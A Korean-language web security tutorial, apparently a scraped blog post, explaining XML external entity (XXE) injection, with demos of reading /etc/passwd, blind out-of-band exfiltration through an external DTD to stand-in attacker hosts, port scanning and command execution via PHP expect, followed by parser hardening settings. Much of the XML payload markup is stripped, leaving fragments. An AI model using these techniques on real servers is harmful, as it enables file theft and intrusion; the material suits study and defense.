XXE (XML 외부 실체 주입)

6608 단어 웹 구멍
목차
XXE
XXE 구멍 데모 이용
Blind OOB XXE
필드 1 – 포트 스 캔
장면 2 – DTD 를 통 해 파일 훔 치기
장면 3 – 원 격 코드 실행
XXE 구멍 발굴
XXE 의 방어
XXE 의 허점 을 배우 기 전에 우 리 는 먼저 XML 을 알 아 보 자.전송 문 - > XML 과 JSON 데이터 형식
그럼 뭐 가 XXE 구멍 인가요?
XXE
XXE(XML External Entity Injection) 즉 XML 외부 실체 주입 입 니 다. XXE 구멍 은 응용 프로그램 이 XML 입력 을 분석 할 때 발생 합 니 다. XML 파일 의 해석 은 libxml 라 이브 러 리 에 의존 합 니 다. libxml 2.9 이전 버 전 은 기본적으로 지원 되 고 외부 실체 에 대한 인용 을 열 었 습 니 다. 서버 에서 사용자 가 제출 한 XML 문 서 를 분석 할 때 XML 파일 에 인용 되 지 않 은 외부 실체 (외부 일반 실체 와 외부 매개 변수 실체 포함)적절 한 처 리 를 하고 실체의 URL 은 file: / / 와 ftp: / 등 협 의 를 지원 하여 악성 외부 파일 과 코드 를 불 러 올 수 있 고 임 의 파일 읽 기, 명령 실행, 내부 네트워크 포트 스 캔, 내부 네트워크 사 이 트 를 공격 하고 Dos 공격 등 위 해 를 입 힐 수 있 습 니 다.
XXE 구멍 이 발생 하 는 점 은 xml 파일 을 업로드 할 수 있 는 위치 이 고 업로드 한 xml 파일 을 여과 하지 않 아 악성 xml 파일 을 업로드 할 수 있 습 니 다.
그렇다면 어떻게 외부 실체 주입 을 구축 합 니까?
방식 1: DTD 외부 실체 로 직접 설명


    
]>
&b;

방식 2: (일반 실체) DTD 외부 실체 성명 을 통 해 외부 DTD 문 서 를 도입 하고 외부 실체 성명 을 도입 합 니 다.


       
]>
&b;

# http://mark4z5.com/evil.dtd   


방식 3: (매개 변수 실체) DTD 외부 실체 성명 을 통 해 외부 DTD 문 서 를 도입 하고 외부 실체 성명 을 도입 합 니 다.


    
]>
%b;

#http://mark4z5.com/evil.dtd    

XXE 는 XML 외부 실체 주입 공격 으로 XML 에 서 는 실체 호출 을 통 해 로 컬 이나 원 격 콘 텐 츠 를 요청 할 수 있 으 며 원 격 파일 보호 와 유사 하여 민감 한 파일 읽 기 와 같은 보안 문 제 를 일 으 킬 수 있 습 니 다.
XXE 구멍 데모 이용
다음은 간단 한 XML 코드 POST 요청 예제 입 니 다.
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1



   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      XML is the best!
   

이후 이 코드 는 서버 의 XML 프로세서 에 의 해 분 석 될 것 이다.코드 가 설명 되 고 되 돌 아 옵 니 다: {"Request Successful": "Added!"}
현재 공격 자가 XML 코드 분석 을 남용 하려 고 할 때 어떤 일이 일어 날 까요?우 리 는 제출 한 데 이 터 를 다음 과 같이 수정 할 것 이다.

]>

   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      &xxe;
   

코드 가 설명 되 고 되 돌아 오기:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...}

Blind OOB XXE
예 를 들 어 서버 는 / etc / passwd 파일 의 내용 을 응답 으로 XXE 에 되 돌려 줍 니 다.그러나 어떤 경우 에는 서버 에 XXE 가 존재 할 수 있 더 라 도 공격 자의 브 라 우 저 나 프 록 시 에 응답 을 되 돌려 주지 않 습 니 다.이 경우 Blind XXE 구멍 을 사용 하여 외부 데이터 (OOB) 채널 을 구축 하여 데 이 터 를 읽 을 수 있 습 니 다.파일 내용 을 직접 볼 수 는 없 지만 공격 하기 쉬 운 서버 를 프 록 시 로 사용 하여 외부 네트워크 에서 스 캔 과 코드 를 실행 할 수 있 습 니 다.
필드 1 – 포트 스 캔
첫 번 째 예제 에서 저 희 는 URI 를 통 해 요청 을 / etc / passwd 파일 로 가리 키 고 파일 의 내용 을 되 돌려 주 는 데 성공 하 였 습 니 다.이외에 도 http URI 를 사용 하여 서버 가 지정 한 터미널 과 포트 에 GET 요청 을 보 내 도록 강제 할 수 있 으 며, XXE 를 SSRF (서버 측 요청 위조) 로 변환 할 수 있 습 니 다.
다음 코드 는 포트 8080 과 통신 을 시도 합 니 다. 응답 시간 / 길이 에 따라 공격 자 는 이 포트 가 열 렸 는 지 여 부 를 판단 할 수 있 습 니 다.

]>

   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      &xxe;
   

장면 2 – DTD 를 통 해 파일 훔 치기
외부 문서 형식 정의 (DTD) 파일 은 OOB XXE 를 실행 하 는 데 사용 할 수 있 습 니 다.공격 자 는. dtd 파일 을 VPS 에 위탁 하여 원 격 으로 공격 을 받 기 쉬 운 서버 가 이 파일 을 가 져 오고 악성 명령 을 수행 하도록 합 니 다.
다음 요청 은 이 방법 을 보 여주 고 테스트 하기 위해 프로그램 에 보 내 집 니 다.



   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      &xxe;
   

이 코드 는 공격 을 받 기 쉬 운 서버 에서 처리 되면 원 격 서버 에 요청 을 보 내 고 payload 가 포 함 된 DTD 파일 을 찾 습 니 다.

">
%all;

결 과 는 두 개의 요청 이 서버 에 전송 되 었 고 두 번 째 요청 은 / etc / passwd 파일 의 내용 입 니 다.
우리 의 VPS 로그 에서 파일 내용 이 있 는 두 번 째 요청 을 볼 수 있 습 니 다. 이로써 우 리 는 OOB XXE 구멍 의 존 재 를 확 인 했 습 니 다.
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

장면 3 – 원 격 코드 실행
이런 경 우 는 드 물 지만 공격 자가 XXE 를 통 해 코드 를 실행 할 수 있 는 경우 도 있 는데 이것 은 주로 설정 이 부적 절하 거나 내부 응용 을 개발 해서 생 긴 것 이다.만약 우리 가 충분히 운 이 좋 고 PHP expect 모듈 이 공격 을 받 기 쉬 운 시스템 이나 XML 을 처리 하 는 내부 응용 프로그램 에 불 러 왔 다 면 우 리 는 다음 과 같은 명령 을 수행 할 수 있 습 니 다.

 
]>

   
      John, Doe
      I love XML
      Computers
      9.99
      2018-10-01
      &xxe;
   

응답:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

XXE 구멍 발굴
웹 사이트 의 xml 실체의 머리 를 수 동 으로 변경 하여 관련 읽 기 파일 이나 링크, 또는 명령 실행 등 을 추가 합 니 다. 예 를 들 어 file: / / $path / file. txt;http://url/file.txt;나 올 지 안 나 올 지.
XXE 의 방어
XML 분석 라 이브 러 리 는 호출 시 외부 실체 에 대한 분석 을 엄 격 히 금지 합 니 다.
프로젝트 1: 개발 언어 가 제공 하 는 외부 실 체 를 사용 하지 않 는 방법
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

프로젝트 2: 사용자 가 제출 한 XML 데이터 키 워드 를 필터 합 니 다. 
XXE 빈틈 활용 방법: XML 에서 원 격 코드 로 실행
                  xxe 구멍 학습 및 이용 총화 관련 글: SSRF (서버 위조 요청) 구멍
                  XXE 는 로 컬 DTD 를 이용 하여 파일 을 읽 습 니 다.

좋은 웹페이지 즐겨찾기